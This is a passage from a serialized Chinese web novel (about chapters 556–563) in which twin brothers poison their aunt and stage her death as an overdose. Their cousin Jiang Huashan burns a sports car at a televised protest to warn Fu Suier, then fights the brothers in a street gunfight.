沈娇点头,神色凝重,“这种事若我没有真凭实据哪跟你们说?我今天找你们来就是想问问你们,你们父亲已经酿成大祸,沈家必然是容不下他了,我想知道你们是什么态度?” 沈亦杰皱眉,“我们当然是跟沈家共进退!他要真如此昏聩,我情愿不要这个爸爸了。” “阿杰!”相比起来沈亦杰,沈亦泽沉稳许多,满脸愧疚,“姑姑,你给我们一点时间,我会劝爸爸去找爷爷自首。” 沈娇长舒了一口气,“我果然没有看错你们,你们的父亲已经跟老爷子坦白,眼下正在襄英,依着老爷子的性格大概是没有退路了。” 到底是自己的亲生父亲,听闻沈澈落得这样的下场,两人情绪都变得很低沉。 沈娇能体会这样的人之常情,轻叹了一声,“你们别怪姑姑狠心,实在是你们的父亲无药可救了。”说着,她从案几的抽屉里拿出一沓资料。 “这是?”沈亦杰双手接过,目光扫了一眼霎时脸色惨白,“炼毒?” 沈亦泽神情微变,一把抢过资料,匆匆翻了几页眼里满是错愕。 沈娇,“我查到的时候也觉得不可思议,他怎么变成了这样?怎么能做这种伤天害理的事?” 这也是为什么她非逼沈澈自首或自杀的原因,这种事于沈家就是惊天大雷,万一哪天被人抓住了把柄,沈家百年清誉就要毁于一旦了。 沈亦泽放下资料,神情萧瑟,“父亲还说您心狠,殊不知您还是给他留了后路,这份资料若传到爷爷手里,别说父亲,我和阿杰的命也保不住。” “怎么会,你父亲是你父亲,你们是……” 忽然,沈娇反应过来,一脸诧异看着眼前的一对双生子。 沈亦杰歪头笑了笑,“姑姑,走好。” …… 第557章 绥尔,宿命来了! 神圣威严的政府广场前,民意汹涌,黑色的天价跑车如同前滩蛟龙被围困其中。 人群中,有人背着扩音喇叭大喊: “非法飙车屡禁不止,特权高于法置百姓生命于何地?” “反对特权杀人!请求政府公开审判南湾飙车纵火案!!!” 一群人像张牙舞爪的野兽不敲打着玻璃,这种逼仄的压迫感换做任何一个女生都会害怕,但姜花衫只冷冷看了一眼,直接推门下车。 车门打开,绿色的真丝裙摆在半空中荡出花璇,姜花衫取下草帽,在所有人还没反应过来之前,抬手示意,“大家别激动,不要误会!我是来加入你们的!” 打不过就加入,她一直靠这条至理名言走天下。 领头的见情况不对,立马指着姜花衫大喊,“她开这么好的车,一看就是特权阶级,大家可别被她骗了!” 这话一出,众人的脸上立马有了敌意。 姜花衫连忙摆手,“没错!我家里的确有些背景,可那又怎么样?就不允许我有正义感吗?我就不能替广大民众发声吗?我爷爷自小就交过,我们不能忘本,从群众中来,到群众中去,你们不能因为我家里有钱就歧视我,不让我加入你们啊!” 俗话说伸手不打笑脸人,何况还是个这么好看的笑脸人,人群里立马就有人倒戈,“她说有道理!” 有道理个屁!一看就是个万金油! 拿着喇叭的男人气得脸都黑了,摆摆手,“走走走!看你年纪小,别在这惹事。” “我不走!”姜花衫拨开人群,直咧咧冲到男人面前,毫无畏惧伸出一只手。 男人愣了愣,左右看了看,“什么?” 姜花衫摆摆指尖,“喇叭。” “……你要这个干什么?”男人一把捂着胸前的扩音器,这个喇叭连接了线阵列音箱,峰值可达130-140 dB,为了突显效果他们还特意加上了低音炮,为得就是让政府那些聋子听见底层人群的心声,这可是他们弄了一晚上的心血,怎么能交给一个小破孩呢? “咳咳!”见男人一脸防备,她虚握手掌抵着唇边清咳了一声,郑重道,“既然这样,那我就给大家正式介绍一下我自己,我叫姜花衫,是鲸港“金枪”元老沈庄的孙女,别看我年纪小,但对于这种大规模抵制活动我很有经验,本人在校期间曾组织多起暴乱,无一败绩,最负盛名的一次,三千人暴动,最后在我的指挥下全部有序撤离。” “……”男人嘴角抽动,“你当我们这是在过家家?” “啧啧啧!”姜花衫一脸鄙夷摇了摇头,“就你这组织水平,连过家家都不如?你们要让政府听见民意,要么走正常程序。但既然你们选择了最粗暴的方式,就应该粗暴到底。你们一群人围在太阳底下,又喊又叫,你看对面那栋大楼有人搭理你们吗?” 这话算是说到关键点了。 从早上到现在,除了最开始政府楼的警署官员来警告过之外,再没有人来搭理他们。 姜花衫,“你这组织能力不行,就应该退位让贤,让有本事的人来说!” “她说也有道理啊,政府那边的人这么久都没有露面,根本没把我们放在眼里。” 姜花衫立马纠正,“不是没把你们放在眼里,是你们的方法没用对,筹码对等你的对手才会重视你。” 民意的天秤开始倾斜,人群慢慢有些开始动摇,“她刚刚说她是沈元老的女儿?” “拉倒吧?你们别忘了,沈家还有个沈年,当年高架惨案沈家就是罪魁祸首。” 就因为这句话,倾斜的天秤再次倒回。 姜花衫回神,目光犀利看向人群,“说的对!沈年就是坨狗屎!猪狗不如,爷爷一直很愧疚,他老人家悉心教养,最后却给A国教出来一个毒瘤,他一直觉得愧对A国,愧对百姓。所以,今天我才会出现在这里,沈家从不回避民意。” 说罢,她再次伸手,目光转向男人手里的喇叭,“我今天就是带着沈家的诚意来的。” 嘈杂的人群在一瞬间鸦雀无声,男人思考许久,终于被说服,解下胸口的卡扣,双手递给姜花衫。 挤在人群里的记者立马抓拍到了这一幕。 金色的阳光下,汹涌人潮为幕,男人肤色黝黑,少女明媚白皙,他们一个代表了底层,一个代表了特权。男人递交的不是喇叭,是重于泰山的民之所向;姜花衫接过的也不是喇叭,是一个家族对托举它的土壤该有的尊重。 这一刻,喇叭为媒介,黑白有泾渭分明的分界线。 姜花衫接过喇叭,转身走向身后的超跑,单手撑着引擎盖,蹬腿跳上了车。 淡绿色的裙摆沿着黑色漆面一路攀爬,姜花衫站稳,打开连接音响了卡扣,振臂高呼,“非法飙车屡禁不止是监管失职还是权力装睡?!人命如草芥,民心如何安?!” “说的对!说的好!”人群里马上又有应和。 姜花衫,“大家保持队形往外扩散十米。” 众人虽不知道她要做什么,但还是听命往后退了十米。 姜花衫再次振臂高呼,“并非所有世族都与民意相悖,我谨代表沈家向所有A国民众承诺,即日起,沈家绝不会参与任何无视生命的非法活动,更不会为无视民生民意的族中弟子提供特权保护伞。” “入违此诺,便为此车。” 她精准找到人群里的机位,歪头笑了笑,顺手掏出打火机。 咔嚓一声,火源冒出的瞬间,打火机被高高抛出,从天窗掉进了车里。 众人愣了愣,还没反应过来,耳边再次传来爆破般的喊麦声,“不沉默!不妥协!不为死神开绿灯!若天价跑车最终会变成屠杀无辜的凶器,不如付之一炬!” 沈清予的黑武士与周宴珩那台在外观上略微有些相似,人们的情绪价值不自觉就转移了,姜花衫当众烧车的举动看似疯狂,看却恰到好处的掌握了人心。 这番造势,政府楼的老爷们想装聋作哑也装不成了。 但这些都不是最重要的,重要的是,现在所有的镜头都对准了她,记者媒体不会放过这么大的热点新闻。 车里的火渐渐烧起来了,姜花衫站在车顶,黑色的浓烟从车顶冒出,她仿佛生出了一双巨大的黑色羽翼。 姜花衫握紧话筒,将音量调到最大,眼睛死死看着镜头。 “傅绥尔!宿命来了!去!斩断它!” …… 第558章 绥尔,相信我! 振聋发聩的呐喊与千丝万缕的傀儡线形成了强烈的对峙,最终她的音浪被数不清的电线接收,散成星星点点穿过了剧目的重重织网。 剧目想将她和这个世界隔离,那她就站在最显眼的地方去,让他们不得不看见她。 * 军政学府调研大楼。 教室里雅雀无声,此时讲台的电子屏幕已经被切断了信号,但刚刚镜头里少女仿佛能穿过介质的眼神仿佛将所有人都杀了一遍。 砰——” 傅绥尔霍然起身,身后的椅子撞击横杆发出剧烈的碰撞。 众人这才回过神来,刚刚镜头里的女生好像叫了傅绥尔的名字。 讲台上的监考老师也是许久才回过神,怔愣片刻,拿起教鞭训斥,“注意考场秩序,那位同学,坐下答题,不要干扰其他同学。” “叽——” 傅绥尔一把推开椅子,金属柱脚摩擦着水泥石地面发出尖锐刺耳的噪音。 监考老师大为不满,再次阻止,“傅绥尔,你做什么?这场考试与你们未来的政途划分息息相关,考试才刚刚开始,你这个时候离场会被视为故意违反校纪校规,不仅成绩会做零分处理,连学位都可能受影响。” 傅绥尔充耳不闻,转头跑出了教师。 瞬间,教室里炸开了锅,几乎所有人都认为傅绥尔疯了。 昨天,学校收到了一份总统室的临时文件,总统为了能更好关注民生问题,决定临时增加一个行政助理职位,出于对军政学府百年校誉的信任,总统直接把这个珍贵的指标给了学校。 为了公平起见,学校抽调了各个年纪精英进行实况模拟考,总成绩排行第一的人将赢得这个总统行政助理的职位。 在座学子不少都有家族支持,但还是削尖了头想往里面挤,毕竟在校期间就能拿到这么漂亮的岗位,以后政途不可限量。 傅绥尔竟然竟然那个女生轻飘飘的一句话就放弃了自己的前途,不是疯了是什么? 余笙看着已经落空的座位,原本她将傅绥尔视为最大的竞争对手,现在这个对手竟然主动放弃了,说不上是庆幸还是失落。 忽然,她的眸光转动,落在了正在奋笔疾书的苏韵身上。 余笙立马回神,这才意识到自己还在考场,纵然傅绥尔中途离席,但还是有人虎视眈眈,她提笔,正要作答时,脑子里又回想起姜花衫当街策反的所有过程。 看似疯癫,实际掌控了一切,这样的人若再多些野心,未来一定是个可怕的对手。 * 傅绥尔冲出教室的第一件事就是给姜花衫打电话。 但因为学校今天这场考试,学校的信号都被屏蔽了,手机基本成了废品。 没有人知道姜花衫说的宿命是什么,除了她。 那是她们十三岁联盟的媒介,成为总统也好,变成更好的傅绥尔也罢,前提是救下妈妈。 傅绥尔越想越后怕,身体不可控制的抖了起来,要不是今天考试的内容正好是实时政治,她差点就跟等了五年的宿命错过了。 “那个同学,你在这里做什么?考试期间禁止走动,你是哪个班的,跟我去趟教务室?” 刚出调研大楼,一个穿着军官制服的男人直接拦住了她的去路。 傅绥尔此时完全没有耐心解释,绕过男人打算硬闯。 男人见状直接上手反制她的胳膊,“你是哪个班上的?你们教导员是谁?” 傅绥尔知道这是宿命在作祟,情绪有些绷不住,用力反抗,“放开我!放开我!” 衫衫那么努力把消息传过来,说明事情已经迫在眉睫,她不能再这里浪费时间,不然…… 傅绥尔不敢细想,顾不得疼痛对着男人又踢又骂,“放开我!大不了我退学!我不读了!放我出去!” 男人冷哼,“退学也要走流程,跟我去教导处。” 为了今天的考试,学校要求隔离她们集体在新校区隔离,因为想给沈娇一个惊喜,她并未透露考试事宜,所以这次也没有随行保镖。信号失联,孤立无援,现在看来这一切都是提前布好的杀局,为得就是把她困在这里。 她该怎么办? 正当傅绥尔满心绝望时,耳边传来了一声极为熟悉的冷音。 “放开她。” 傅绥尔眼睫毛微颤,回头看向光影落幕处。 沈眠枝眼神肃杀,仿佛变了一个人。 第559章 宿命重演 事关沈娇的生死,若信错一个人就是万劫不复。 沈家最近因为内鬼的事不太平,这个时候迎来沈娇的节点,一定是沈家人动手。除了姜花衫,她现在不敢轻信任何人。 在沉默的几秒钟里,傅绥尔想了很多。 沈眠枝的手悬在空中,她知道傅绥尔内心很不安,所以在等待的时间里也没有收回自己的诚意。 傅绥尔深吸了一口,抬眸时眉宇间的惶恐尽数消散,眸光如利刃出鞘。 她抬手,一把抓住沈眠枝的手腕,“去未央台。” 实验楼只有五层,顶楼上有道铁门,铁门上还挂着一把电子锁。 “不用担心。”沈眠枝松开傅绥尔的手,上前输入密码,咔嚓一声锁打开了。 她双手抵着铁门轻轻一推,金色的浮光从门缝中渗透,细小的光线渐渐变成一滩光圈,一台黑色的直升机赫然映入眼帘。 沈眠枝率先踏入天台,指着眼前的大家伙略带调侃:“像不像哆啦A梦的竹蜻蜓?我们飞过去,速度更快。” 傅绥尔一脸不可置信。 沈眠枝拉开机舱门,拿出降噪耳机丢给她,“有什么快问,我们马上就要起飞了。” 傅绥尔,“跟着我可能会有危险,你确定要一起吗?” 沈眠枝有模有样调整座驾,准备就绪侧身看着她,“就是因为有危险我才要去,因为我的任务是保护你。” * 政府广场。 沈清予的车已经烧了起来,火势愈演愈烈,城市上空四处飘荡着灰烬。 消防车、警车、救护车全面出动,将整个广场团团围住。 民意因为这场火彻底被点燃,人们高举着“反对特权杀人”的旗帜与政府人员对抗,一时间场面完全失控,全鲸港的新闻媒体人蹲守现场,快门的咔嚓声响个不停。 姜花衫功成身退,将喇叭重新归还给领头的男人,“看见没,只要事情闹大,那群人就没理由继续和稀泥了。法不责众,你们只要不出格,就算被抓了顶多也是关两天。” 果然是战绩可查啊! 男人见她三言两语就把事情闹大,发自内心的折服,言语间已然有了关心,“那你怎么办?” 法不责众,但枪打出头鸟,带头闹事当众烧车的是姜花衫,警署厅的人来了第一个饶不了的就是她。 姜花衫摆摆手,“我没关系,我是沈家人,他们不敢拿我怎么样,只要你们没事就行。” 好人啊! 舍己为人,实实在在地在为群众考虑。 “不行。这是咱们大家的事,怎么能让小姑娘一个能扛呢?” 姜花衫一脸谦虚,“不不!我真没事的。” “那怎么行?”领头的男人终于有了一点带头大哥的样子,扬声大喊,“大家听我说,小妹妹今天也是为了我们大家共同的利益才行事激进,我们不能让她一个人承担风险。大家都让让,趁着警署厅的人还没来,先让小妹妹离开。” “没错,剩下的交给我们,小妹妹你先走。” 一呼百应,众人不约而同让出一条路,隔得远的,虽然不知道发生了什么,但还是跟着一起照做。 原本堵死的人潮瞬间柳暗花明。 姜花衫满脸感激,正准备撤退,男人一把拉住她,“小妹妹,会骑小毛驴吗?” “小毛驴?”她摇头,一本正经,“我不会赶集。” 男人被她逗笑了,从口袋里掏出车钥匙,“我说的是电动车。待会我们还策划了大型静坐活动,鲸港半数交通都会瘫痪,你的车被烧了,骑电动车正合适。” 原来小毛驴就是电动车?电动车她没开过,不过她会开重型机车,应该不在话下。 姜花衫立马接过男人的钥匙,“多谢大叔,车子我先借用,以后还你。” 男人摆摆手,“不值几个钱,车就在那边的花坛边。” 姜花衫点头,忽然想到什么,眼里多了几分郑重,“大叔,新闻媒体是很重要的传播手段,想要让政府妥协,你们就必须要联合舆论的力量,所以,如果可以,尽量多吸引媒体人的关注,多在镜头面前晃动。” “知道了,快走吧。” * 与此同时,翡翠山庄。 沈亦泽抽出针管,密封保存后,慢条斯理戴上白色橡胶手套。 “怎么样?”沈亦杰推门走进卧室,目光随意往床上扫了一眼,“死了?” 沈亦泽神色淡淡,“她要是直接死了,一定会引起老爷子的怀疑,先给她用了点药,剩下的按计划行事。” “啧,麻烦。”沈亦杰四处看了一眼,从口袋里拿出一张记忆卡,“这栋房子的监控我都已经篡改了,就剩这个了。” 沈亦泽随手拿起床边的相框丢给他,沈亦杰接过,将记忆卡塞进了相框内侧,做好这一切又把相册摆回了原位。 正要起身,这才发现相框里的照片是两年前的冬天,他们一起拍的全家福。 沈亦杰垂着眼,目不转睛看了许久,黢黑的眸光深邃难辨。 那边,沈亦泽已经完成了注射,将药品和针管密封好装进了盒子里。 “走吧。” “……”沈亦杰直起身,刚踏出一步,又折了回来,盯着相册上的自己不满道,“这也把我拍得太丑了。” 沈亦泽,“谁叫你笑得那么恶心。” 照片里的沈亦杰笑容张扬,不知道的还以为是哪本漫画里走出来的邻家哥哥。 别墅的花园前停放着两辆重型机车,两人将设备放进机箱,套了上骑手服,戴上头盔呼啸而去。 机车如飞鱼一前一后相互追逐。 就在这时,两人的通话信号里同时响起一个年轻男人的声音,“怎样了?” “呜呼~”沈亦杰语调轻松,“我和阿泽亲自出马,哪有搞不定的事?” “那就好,证据拿到了?” “当然!还真像你说的,沈娇已经查到了我们的生意,只不过她还是不够聪明,证据我和阿泽已经销毁了,至于那份假资料,我已经按你说的把它藏了起来。” 沈亦杰说的太多,沈亦泽有些不耐,直接打断,反问道,“你那边准备的怎么样了?” 电话那边的人笑了笑,“放心,计划很顺利。警署厅和记者我都已经安排好了,沈园现在一个盼着三房好的人都没有,沈娇必死无疑。” …… 第560章 能做到吗? 二十分钟后。 政府大楼。 “谁给她的权力代表沈家的?!” 沈谦气得暴跳如雷,怒声大骂,“岂有此理,一个外姓人还敢大言不惭,简直不知所谓。” 助理们站在一旁瑟瑟发抖,没有一个敢接话。 这时一通私人电话打了进来,从姜花衫闹事之后,沈谦办公室的电话就没停过,一怒之下他让人直接把电话线拔了。 这个时候能打进的都不是普通人,助理赶紧送上手机。 沈谦看了一眼来电显示,扯下领结强行冷静下来,“你们先出去。” 等到房间只剩他一个人,沈谦接通了电话,“你也是因为姜花衫在政府广场闹事来的?” 沈渊,“大哥,出事了!” * 三分钟后,沈谦从办公室走了出来,助理们原以为他有工作要交待,不想沈谦直接告假,头也不回进了电梯。 此时,一辆黑色的轿车停在电梯厅前,沈谦出来直接上了车。 “你刚刚电话里说的都是真的?” 沈渊,“千真万确。未央台是沈氏集团投资的产业,住在那里的人非富即贵,两个小时前,未央台的业主群有人爆料,别墅区某住户在家聚众淫乱吸食毒品,爆料的照片就是楼王栋。你还记不记得,沈娇当初花了3.2个亿买的那套房子,就是未央台的别墅楼王。” 沈谦皱眉,“怎么又传到警署厅去了?” “衫衫一番慷慨发言不知得罪了多少特权?尤其是周家,群里一百来号人,也不知道是谁把照片流露出去了,现在警署厅已经过去抓人了。” 沈谦捏了捏眉心,满是厌恶,“我倒要看看,这次沈娇怎么自圆其说。” * 另一边,沈眠枝和傅绥尔率先一步抵达未央台,飞机直接降落在别墅的庭院里。 两人一下飞机就听见房间里传来嘈杂的欢叫声。 傅绥尔想也没想直接朝别墅跑去。 “绥尔……”沈眠枝打开信号器转头跟了上去。 房门打开的瞬间,傅绥尔整个人都傻了。 偌大的横厅里,一群形形色色的男人,他们衣衫不整神志不清,有些两两交缠气氛糜烂恶心。 忽然,她想起十三岁时姜花衫对她说过预言。 -【你妈妈会被发现醉酒K药死在叫鸭的床上】 她脑子嗡得一下空白,眼神急切四处游走,“妈妈……” 屋内的瘾君子见跑进两只小白兔,狞笑着向傅绥尔扑去。 “绥尔!”沈眠枝脸色大变,拿起门厅的高尔夫球杆对着男人的头狠狠砸去。 瘾君子们意识模糊,动作迟缓,遇上练过的沈眠枝完全没有招架之力。 傅绥尔避开男人,直接冲进二楼的主卧。 “啊!!!” 突然,楼上传来撕心裂肺的尖叫。 沈眠枝的心跟着颤了一下,想也没想冲了上去。 “绥尔!” “啊啊啊!妈妈!!” 她刚跑到门边,房间里传来傅绥尔几乎发疯的哭声。 沈眠枝隐约猜到什么,握着球杆的手一直在抖。她不忍让傅绥尔独自承受,迈着艰难的步伐走进卧室。 香槟色的丝绸上,沈娇紧闭双眼,任傅绥尔怎么呼喊都没有反应。 傅绥尔茫然无措,跪在沈娇身侧哭得不能自已。 沈眠枝眨了眨眼,泪水夺眶而出,她慢慢爬上床,翻开沈娇的眼皮查看瞳孔。 傅绥尔抬头,满脸期待看着沈眠枝。 沈眠枝咬了咬嘴唇,语气艰涩,“瞳孔微缩成针尖,没有对光反射,小姨她……” “这是怎么回事啊!怎么闹成了这样!?” 突然,房外传来沈谦的斥责声,没等两人反应过来,沈谦和沈渊冲进了卧室兴师问罪。 两人没想到沈眠枝和傅绥尔也在,微愣了一下。 沈谦反应过来,怒不可遏,“沈娇,起来!你看看你像什么样子!好好的孩子都被你带坏了。” “沈娇?” 沈眠枝爬下床,神色哀恸,“大伯、二伯,小姨不知道怎么了?一直昏迷不醒。” “我看看……”沈渊略带迟疑,正要伸手打探,傅绥尔的神思渐渐回笼,一巴掌拍下他的手,“别碰她。” 沈渊顿时沉下脸,“绥尔,你怎么跟长辈说话的?” 傅绥尔抬眸,死死瞪着两人,“我说了,别碰她!你们都滚!” 此时的她,像极了五年前的小刺猬。 沈谦皱眉,“你母亲这是吸食毒品过量,要是不送去医院,人可就没了。” “她没有吸毒!”傅绥尔站起身怒吼,“你们为什么要这样?你们为什么就是不肯放过她?!” “胡搅蛮缠。”沈谦侧身,朝身后的保镖使了个眼色,众人会意,立马上前抬人。 傅绥尔摇头,张手摊开挡在众人面前,“不许你们碰她。” “傅绥尔!你要再这么闹下去,延误了治疗到时候可别赖我们头上。你们愣着做什么?!” 保镖直接把傅绥尔拖开,另外几人上床抬人。 “你们不能带她走!妈妈!!” 傅绥尔几次想要上前阻拦,却都被沈谦带来的保镖拦了回去。 沈渊看不下去,冷声呵斥,“平时看着挺机灵的,关键时候怎么这么不中用,人都这样了,不送去医院岂不是等死?!” “滴滴滴——” 就在这时,房间里响起了一阵极其突兀的电话铃声。 沈谦皱眉,转身就看见一直沉默的沈眠枝当着他们的面接通了电话。 “喂,衫衫,你有在听吗?” 沈谦和沈渊对视了一眼,眸色隐晦不明。 傅绥尔眼睛一亮,回头看向沈眠枝。 沈眠枝忍着酸涩替她擦去脸上的泪渍,递上电话,“别哭了,衫衫有话跟你说。” 傅绥尔咬着牙,声音哽咽,“姐姐,我没用……” “绥尔,你相信我吗?” 傅绥尔捧着电话,泣不成声,“我只相信你。” “好,守住妈妈,不要让任何人把她带走,直到我来,能做到吗?” 傅绥尔擦干眼泪,“能。” “枝枝。” 沈眠枝接过电话,“我在。” “保护好绥尔和自己,能做到吗?” 沈眠枝抬眸,“能。” * 彼时,通往未央台的某个十字路口。 直行,红灯。 两台重型机车与一辆绿色小毛驴隔着路灯遥遥对望。 …… 第561章 您再往前,我就开枪了 这场遇见对沈亦泽和沈亦杰来说完全出乎意料,以至于两人当场愣在原地,要不是他们还戴着头盔不算暴露,差点应激反应撞过去了。 红灯倒计时10-9-8- 7…… “怎么了,怎么突然不说话。”耳麦里的声音十分警惕。 沈亦泽抬手,隔着黑色头盔轻轻敲了敲,“我们遇上姜花衫了。” 那边明显也愣了一下,“暴露了?” 沈亦泽还算理智,“没有。” 沈亦泽眉头紧蹙,隐藏在黑色目镜下的眼睛微微带着血色,“这个方向是去未央台的必经之路,眼下局才布了一半,这个时候让她过去说不定会坏事,反正遇上了,不如一块解决了。” “不行!”那话头的声音不容置喙,“杀沈娇才是重点,你们已经出了监控范围,万一留下把柄会很麻烦。” 沈亦杰扯着嘴角冷笑,双手紧握转向把。 “阿杰。”沈亦泽一眼就看出了沈亦杰的杀意,冷声警告,“不要轻举妄动。” 沈亦杰啧了一声,懒懒松了油门。 红灯倒计时3-2-1 绿灯通行。 就在这时,对面的少女突然抬起双手,对着其中一人直接开枪。 “砰——” 一声枪响,子弹打穿沈亦杰的肩胛,血水如银瓶乍破溅洒一地。 耳麦那边的人顿时大怒,“沈亦杰,你搞什么,不是警告过你不要乱来?!” 沈亦杰扑身倒地,躲在机车后,“你给老子闭嘴,打枪的是那死丫头。” 耳麦那边立马沉默。 沈亦泽冷冷看了姜花衫一眼,加速油门挡在沈亦杰面前,火力全开对着姜花衫撞了上去。 姜花衫保持射击的动作继续瞄准。 “砰——砰——砰——” 沈亦泽侧压身体贴着地面连躲三枪。 姜花衫皱眉,调整角度对准轮毂。 “砰——” 又一声枪响,胶圈爆破,钢圈摩擦着柏油路面冒出刺眼的火星。 还有三米。 沈亦泽咬牙,用尽所有力气控制方向。 姜花衫歪头看了看,再次调整角度瞄准沈亦泽。 沈亦杰捂着血流不止的胳膊,眼底满是阴翳,开枪打他就算了,竟然还在站在原地一动不动挑衅阿泽,臭丫头这是什么路数。沈亦杰咬牙,徒手解开行李架,挑了把顺手的短剑。 “砰——砰——砰——” 临近的三枪全部打偏,姜花衫脸色微变,终于有了一丝慌乱。 沈亦泽手腕转到底,轮毂下的火花顿时飞溅,眼看就要撞上姜花衫,她突然动了,以迅雷不及掩耳之势跳进了沈亦泽的怀里。 “!” 沈亦泽只感觉眼前一黑,什么东西挡住了他的视线。 “?”沈亦杰脚步微顿。 “滋——” 机车因为突然多了一个人的重量彻底倾斜,饶是沈亦泽技术再好也没本事在身上趴着一个人的情况下控制车速。火花滋滋飞溅,因为被姜花衫当成了垫背的,沈亦泽整个后背被拖行摩擦了三四米地,最后两人以不可控的速度,连人带车撞上了道路两旁的绿化带。 “砰——” 一声巨响,车轱辘腾空飞起,溜了到沈亦杰脚步打了个圈。 “……阿……”他刚张口,忽然想到什么立马又咽了回去。 姜花衫捂着头,气喘吁吁坐了起来,而身下的男人不知是不是被撞晕过去了一点反应都没有。她苦中作乐笑了笑,正要抬手掀开男人的护目镜,忽然想到什么,收回手转头看了过去。 三米开外,男人手握短剑虎视眈眈看着她。 * 未央台。 房间里的气氛低迷且诡异。 沈谦冷冷看着眼前的两个小辈,他怎么都没想到,两个毛都还没长齐的孩子竟然敢这么不把他放在眼里。 沈渊脸色也没好到哪里去,“人命关天,沈家还轮不到你们三个黄毛丫头作主,你们要在冥顽不灵,就别怪做我不客气了。” “我不信任你们,我的母亲我自己救,就算爷爷来了我也是这句话,你们今天想把我母亲带走,那就从我的尸体上跨过去。”傅绥尔已经从最初的慌乱里走了出来,姜花衫让她等,事情就一定还有转机,她现在要做的就是守住母亲,不让任何人带走她。 沈谦自觉威严受到了挑衅,冷笑,“好,我今天就替老爷子好好管教管教你们,省得你们无法无天尽在外面惹事。” 傅绥尔丝毫不惧,往前一步与沈谦对视,“代替老爷子?大伯父好大的脸面?您别忘了,我奶奶李氏才是爷爷明媒正娶的妻子,您的母亲连一纸婚书都没有,若真要论资排辈,您还不够格管教我。” 第562章 各显神通 红绿灯前。 沈亦泽紧握着短剑步步逼近,姜花衫慢慢站起身,目光随意落在脚下的金枪上。 路口的红灯一直闪,瞬间变成了绿灯。 沈亦杰脚步飞起,高举着短剑对着姜花衫刺了过来,姜花衫抱头蹲身,捡起手枪后在绿化带里打了个滚,横生的枝条划破了她娇嫩的皮肤,在脸上落下几条血痕。 一击不成,沈亦杰杀心更重,拂开灌木对着姜花衫一剑砍了下去,姜花衫回身,举枪对着沈亦杰的脸扣下扳机。沈亦杰眉心一跳,子弹直接卡在了他的防弹护目镜上。 死亡的侧身而过,这一刻饶是沈亦杰身经百战也被吓的心肝都打着颤儿。 “你大爷的!” 姜花衫气的差点把枪砸了出去,这可是最后一颗子弹了,她原本想着打碎这狗东西的头盔看看凶手长的什么样子,万万没想到,对方竟然戴着防弹头盔。 这一声把沈亦杰的魂喊了回来,再次看向姜花衫,他的眼神变了又变,比划着手里的短剑做了个抹脖子的手势。 姜花衫不甘示弱,直接比了个中指。 “……”沈亦杰被气笑了,提着短剑跳进绿化带。 “啊啊啊!”姜花衫脸色微变,提着裙子往灌木里跑,跑到一半她突然停了下来,举起双手追准沈亦杰。 沈亦杰原以为又是枪,吓得心脏漏停了半拍,等看仔细了,发现这个神警手里竟然拿的是手机,沈亦杰太阳穴突突,气得准备扑身砍死她。 下一秒,视频里出现一个老者的身影。 “哦,衫衫啊,怎么这会儿有空跟爷爷视频啊?” 沈亦杰眼瞳微缩,紧急刹车险些栽倒。 姜花衫大喊,“爷爷,有人要杀我,我马上就要死了,你看清楚这个凶手的长相,记得替我报仇。” 沈亦杰往后退了一步,斟酌片刻翻身跳出了绿化带。 他虽然戴着头盔,但难保爷爷不会看出来。 沈亦杰单手将昏迷的沈亦泽扛上车,站在原地看了姜花衫一眼才翻身上车。 绿灯转红,黑色的摩托车犹如扑食恶豹,呼啸而过。 姜花衫按下播放暂停键,弯腰捡起掉落的手枪。 若是寻常杀手怎么会因为畏惧屏幕里的一个老人而中断猎杀?所以,答案已经很清楚了,头盔里的人是沈家人。 姜花衫慢条斯理解下头上的绑带,青色落肩的瞬间一颗带着硝烟的子弹从发缝中掉了出来,她接住子弹,装弹上腔,举起双手重新瞄准。 要是不耍诈,这群狡诈的‘鬼’怎么会相信她已经弹尽粮绝,又怎么会放心大胆把后背交给她呢? “砰——” 子弹以肉眼不可见的速度朝沈亦杰飞了过去。 姜花衫扬起嘴角,沈年?沈亦杰?亦或是沈亦泽,不管是谁,既然一定要死一个沈家人,那就死你们吧。 沈亦杰听见枪响已经来不及反应了,原以为自己必死无疑,背上忽然传来一阵温暖。 “……” 沈亦杰意识到什么,仓惶回头,沈亦泽趴在他的背上,胸口被子弹射穿,身上的温暖正是他滚烫的血水。 * 襄英。 沈家宗庙前乌泱泱坐着一群人,这些人大多白发苍苍上了年纪,沈庄坐在堂前正首位,廊庑四周挤满了乡亲邻里。 片刻后,沈澈被人搀扶着从祠堂走了出来。 “爸……” 沈庄抬手,“沈某管教不严致至膝下子孙犯下不可饶恕之大错,今天把大家伙儿都叫来,就是想请大家做个见证,从即日起,沈澈将被沈家族园正式除名。” 沈澈脸色苍白,虽然已经有了心理准备,但当这一刻真正来临的时候才知道这种被驱逐的感觉有多窒息。 “父亲。”沈澈颤抖着身子缓缓跪下,“我知道错了,求您再给我一次机会。” 沈庄不为所动,继续说道,“既然已经被沈家除名,你名下族中产业也就不属于你了。” “父亲……” “你放心,你母亲留给你的那些资产依旧有效。”说罢,沈庄转头看向郑松。 郑松会意,递上提前准备好的资料。 沈澈怔然,这满满一沓的资料全是资产清算,短短两天时间怎么可能能清算出这么完整的数据。沈澈忽然意识到什么,难掩内心的憎恨,“这些东西您早就准备好了?你早就计划着要把我赶出沈家?!” 沈庄并未解释,其实不止沈澈,那些不孝子孙他每个人都备了一份,原以为还要再等上几年才会派上用场,没想到他们一个个就这么急不可耐。 沈澈情绪激动,满眼猩红朝沈庄吼叫,“你把我们当什么?呼之而来挥之即去的狗吗?我做错了什么?姜花衫不过一个外人,你因为一个外人要驱赶自己的亲生儿子?” 沈兰晞侧身看向沈庄,见老爷子全程面无表情,丝毫没有动怒的迹象,这副模样显然是对沈澈失望到了极点。 “明天我会在各大报纸刊刊公示你我父子断绝的消息,郑松,让他签字。” 沈澈摇头,“不!我不签!我不签!” 沈庄,“你若不签结果不会有任何改变,只不过你母亲留给你的那部分资产你将丧失继承权。” “凭什么?”沈澈不服,“那是我母亲留给我的!” 沈庄,“就凭你母亲不止你一个孩子。” 沈澈沉默了许久,最终咬着牙接过钢笔,金属笔端摩擦着光滑的字面,留下触目惊心的刮痕。 白纸黑字,笔落约成,从此他与沈家再无干系。 “站住,你是什么人,沈家宗祠不可擅闯!” 突然,堂外传来一声怒吼。 沈庄皱眉,侧头看向沈兰晞,沈兰晞会意朝高止使了个眼色,高止立马转身挤出了人群,没过一会儿,高止直接跑进了宗祠,“老爷子,出大事了。” …… 第563章 大小姐驾到 沈清予在医院待了一天一夜,出来的时候感觉自己都要馊了,眼看时间还早,便想着先回沈园一趟再回来。 